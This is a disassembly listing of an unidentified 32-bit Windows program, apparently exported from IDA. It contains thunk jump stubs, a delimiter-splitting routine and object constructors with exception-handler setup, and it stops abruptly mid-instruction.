dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_404640+2CEp ; sub_404C70+472p ... jmp sub_40A670 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_433120 ; --------------------------------------------------------------------------- jmp sub_41B3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_422370+Ap jmp sub_422650 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_404C70+7EAp jmp sub_41B950 sub_402022 endp ; --------------------------------------------------------------------------- loc_402027: ; DATA XREF: ___:off_43E014o jmp loc_40ADE0 ; --------------------------------------------------------------------------- loc_40202C: ; DATA XREF: ___:off_43E088o jmp loc_42BE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: ___:0040ADE3p ; ___:0040FEDEp ... jmp sub_40AE10 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_424840+109p ; sub_424840+178p ... jmp sub_424720 sub_402036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40203B proc near ; CODE XREF: sub_4098E0+7p jmp sub_4099D0 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_416660+Ap jmp sub_416870 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402045 proc near jmp sub_40CB10 sub_402045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204A proc near ; CODE XREF: ___:0042EEEBp ; sub_42FDD0+EAp jmp sub_433030 sub_40204A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: sub_421960+5p ; sub_421A50+6p ... jmp sub_421EF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp ; sub_40FF60+95Ep ... jmp sub_411990 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_40C040+7p jmp sub_40C230 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40205E proc near ; CODE XREF: sub_418940+34p ; sub_418E90+67p jmp sub_418CA0 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_409B10 ; --------------------------------------------------------------------------- loc_402068: ; DATA XREF: ___:off_43E13Co jmp loc_427FC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_417020+2Bp ; sub_417020+3Bp ... jmp sub_403EE0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_4097D0+14p jmp sub_409830 sub_402072 endp ; --------------------------------------------------------------------------- jmp loc_431FD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp jmp sub_4279F0 sub_40207C endp ; --------------------------------------------------------------------------- jmp sub_426650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_418330+4Dp jmp sub_418A70 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_415160+5p ; sub_415310+6p ... jmp sub_415CE0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_426650+3p jmp sub_426680 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_41B0F0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40209F proc near ; CODE XREF: ___:00416D4Fp jmp sub_407030 sub_40209F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_413670+83p ; sub_4144D0+91p ... jmp sub_415310 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; DATA XREF: ___:0043E054o jmp sub_41EF30 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p jmp sub_40AD00 sub_4020AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp ; sub_432980+36p jmp sub_4329F0 sub_4020B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p ; sub_422240+11p jmp sub_4223E0 sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: sub_4220E0+4p jmp sub_4224F0 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp jmp sub_42A440 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; CODE XREF: ___:0041A212p jmp sub_41A2B0 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_416760+Ap jmp sub_4168C0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co jmp sub_42B2D0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020D6 proc near ; CODE XREF: sub_415C70+4p jmp sub_416490 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: ___:0042F4B6p ; ___:0042F518p ... jmp sub_4337E0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_418D20+8p jmp sub_418FC0 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020E5 proc near ; CODE XREF: sub_418890+34p ; sub_418D80+67p jmp sub_418BA0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p jmp sub_41A860 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; CODE XREF: sub_415AA0+35p jmp sub_416570 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp ; sub_4066E0+43p ... jmp sub_409BC0 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p ; sub_40BE60+6p ... jmp sub_40C060 sub_4020F9 endp ; --------------------------------------------------------------------------- jmp loc_42F5B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: ___:00416E7Ap jmp sub_4190B0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: ___:00429A33p jmp sub_429A60 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp ; sub_40FF60+1392p ... jmp sub_4147D0 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_4139B0+38p ; sub_413DA0+5Fp jmp sub_413510 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40A130+14p ; sub_40A160+7p ... jmp sub_40A180 sub_402117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40211C proc near ; CODE XREF: sub_42A150+157p jmp sub_429D00 sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap ; sub_40AC30+1Ap jmp sub_40ACA0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: sub_415600+3p ; ___:00415E1Fp ... jmp sub_416050 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; DATA XREF: ___:0043E02Co jmp sub_40FF60 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_4147D0+EDp jmp sub_415830 sub_402130 endp ; --------------------------------------------------------------------------- jmp loc_41B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_40BE20+3p jmp sub_40C0A0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40BEC0+11p ; ___:0040BEE7p ... jmp sub_40C1E0 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; CODE XREF: sub_41D830+652p jmp sub_41C070 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40214E proc near ; CODE XREF: sub_418BC0+32p jmp sub_418E90 sub_40214E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402153 proc near ; CODE XREF: sub_40EC30+ACp ; ___:0040F35Dp jmp sub_40ED70 sub_402153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_4137E0+93p jmp sub_433A20 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp ; sub_415AA0+2Cp jmp sub_415A00 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: ___:0042541Dp jmp sub_4253E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402167 proc near ; CODE XREF: sub_420530+17Dp jmp sub_4219D0 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40216C proc near ; CODE XREF: ___:0042C261p jmp sub_42A090 sub_40216C endp ; --------------------------------------------------------------------------- loc_402171: ; DATA XREF: ___:off_43E010o jmp loc_409B10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap ; sub_40A9F0+103p jmp sub_40AC30 sub_402176 endp ; --------------------------------------------------------------------------- jmp loc_426620 ; --------------------------------------------------------------------------- jmp loc_41AC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402185 proc near ; CODE XREF: sub_407220+16p ; sub_407260+Bp ... jmp sub_4074C0 sub_402185 endp ; --------------------------------------------------------------------------- jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218F proc near ; CODE XREF: sub_40B000+1Bp jmp sub_432AD0 sub_40218F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: ___:00415A5Ap jmp sub_4164E0 sub_402194 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp ; sub_430690+1Bp ... jmp sub_430700 sub_402199 endp ; --------------------------------------------------------------------------- jmp loc_42EA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A3 proc near ; CODE XREF: ___:004086AAp ; ___:004086CFp ... jmp sub_4198C0 sub_4021A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A8 proc near ; DATA XREF: ___:0043E130o ; ___:0043E140o ... jmp sub_42C710 sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021AD proc near ; CODE XREF: sub_40B520+55p jmp sub_409FD0 sub_4021AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co jmp sub_428220 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p ; sub_422410+67p jmp sub_422130 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp ; sub_4070F0+68p ... jmp sub_407260 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_4333F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p ; sub_41C610+332p ... jmp sub_41D670 sub_4021C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021CB proc near ; CODE XREF: sub_40BC70+11p ; sub_40BEC0+1Fp jmp sub_40BFF0 sub_4021CB endp ; --------------------------------------------------------------------------- jmp loc_42F5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap ; sub_4246D0+1Bp ... jmp loc_424420 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: ___:004169BBp jmp sub_418940 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DF proc near jmp sub_42BB70 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_42EC80 ; --------------------------------------------------------------------------- jmp loc_42EE10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021EE proc near ; CODE XREF: sub_433160+1Bp jmp sub_4331D0 sub_4021EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F3 proc near ; CODE XREF: sub_42E400+101p jmp sub_42DD50 sub_4021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co jmp sub_4071C0 sub_4021F8 endp ; --------------------------------------------------------------------------- jmp loc_42E2D0 ; --------------------------------------------------------------------------- jmp locret_418840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402207 proc near ; CODE XREF: sub_4036D0+25p ; sub_4036D0+35p ... jmp sub_403C90 sub_402207 endp ; --------------------------------------------------------------------------- jmp loc_433100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_418330+88p ; sub_418330+98p jmp sub_418A90 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: ___:00416ABBp ; ___:00439F0Aj ... jmp sub_417770 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; CODE XREF: sub_418AE0+5p jmp sub_418D50 sub_40221B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402220 proc near ; CODE XREF: sub_414640+3p jmp sub_414670 sub_402220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402225 proc near ; CODE XREF: ___:0042F2FBp ; ___:0042FC27p ... jmp sub_430AD0 sub_402225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; DATA XREF: ___:off_43E11Co jmp sub_427600 sub_40222A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222F proc near ; CODE XREF: sub_42F840+102p ; sub_431730+5Dp ... jmp sub_430810 sub_40222F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_413510+5Cp ; sub_413510+C0p ... jmp sub_415460 sub_402234 endp ; --------------------------------------------------------------------------- jmp loc_431410 ; --------------------------------------------------------------------------- jmp loc_42F170 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_41D830+203p jmp sub_42D0D0 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: sub_42E400+148p ; sub_42E400+173p jmp sub_42DC70 sub_402248 endp ; --------------------------------------------------------------------------- jmp loc_42E1A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_4133D0+34p ; sub_4147D0+40p jmp sub_4158F0 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p ; sub_40CF60+ADp jmp sub_40CF60 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_42E220 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402261 proc near ; CODE XREF: sub_422A40+938p jmp loc_423FA0 sub_402261 endp ; --------------------------------------------------------------------------- jmp loc_419A90 ; --------------------------------------------------------------------------- loc_40226B: ; CODE XREF: ___:00438CE6j jmp loc_40CEE0 ; --------------------------------------------------------------------------- db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4034E0 proc near ; CODE XREF: sub_4019B5j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_4034E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403539 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40352A: ; CODE XREF: sub_4034E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40352A loc_403539: ; CODE XREF: sub_4034E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_401424 push offset asc_4435EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401861 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A87 push offset byte_446F70 lea ecx, [esp+47Ch+var_450] call sub_401861 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403591: ; CODE XREF: sub_4034E0+105j mov ebp, [edi] test ebp, ebp jz short loc_4035E7 lea ecx, [esp+478h+var_438] call sub_401681 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016AE mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017E4 push eax lea ecx, [esp+47Ch+var_450] call sub_401A9B lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403591 loc_4035E7: ; CODE XREF: sub_4034E0+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014C9 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_4034E0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036B0 proc near ; CODE XREF: sub_401681j mov eax, [ecx+9] retn sub_4036B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4036D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_402207 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_402207 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_402207 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_402207 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_402207 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_402207 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_402207 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_402207 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_402207 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_402207 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_402207 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_402207 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_402207 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_402207 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_402207 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_402207 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_402207 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_402207 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_402207 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_402207 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_402207 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_402207 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_402207 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_402207 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_402207 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_402207 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_402207 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_402207 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_402207 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_402207 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_402207 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_402207 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_402207 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_402207 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401749 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401749 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401749 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401749 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401749 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401749 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401749 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401749 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401749 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401749 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401749 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401749 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401749 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401749 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401749 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401749 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401749 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4036D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C00 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C70 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43E004 retn sub_403C70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C90 proc near ; CODE XREF: sub_402207j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D10 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D90 proc near ; CODE XREF: sub_401749j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E00 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_402207 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+124h] mov byte ptr 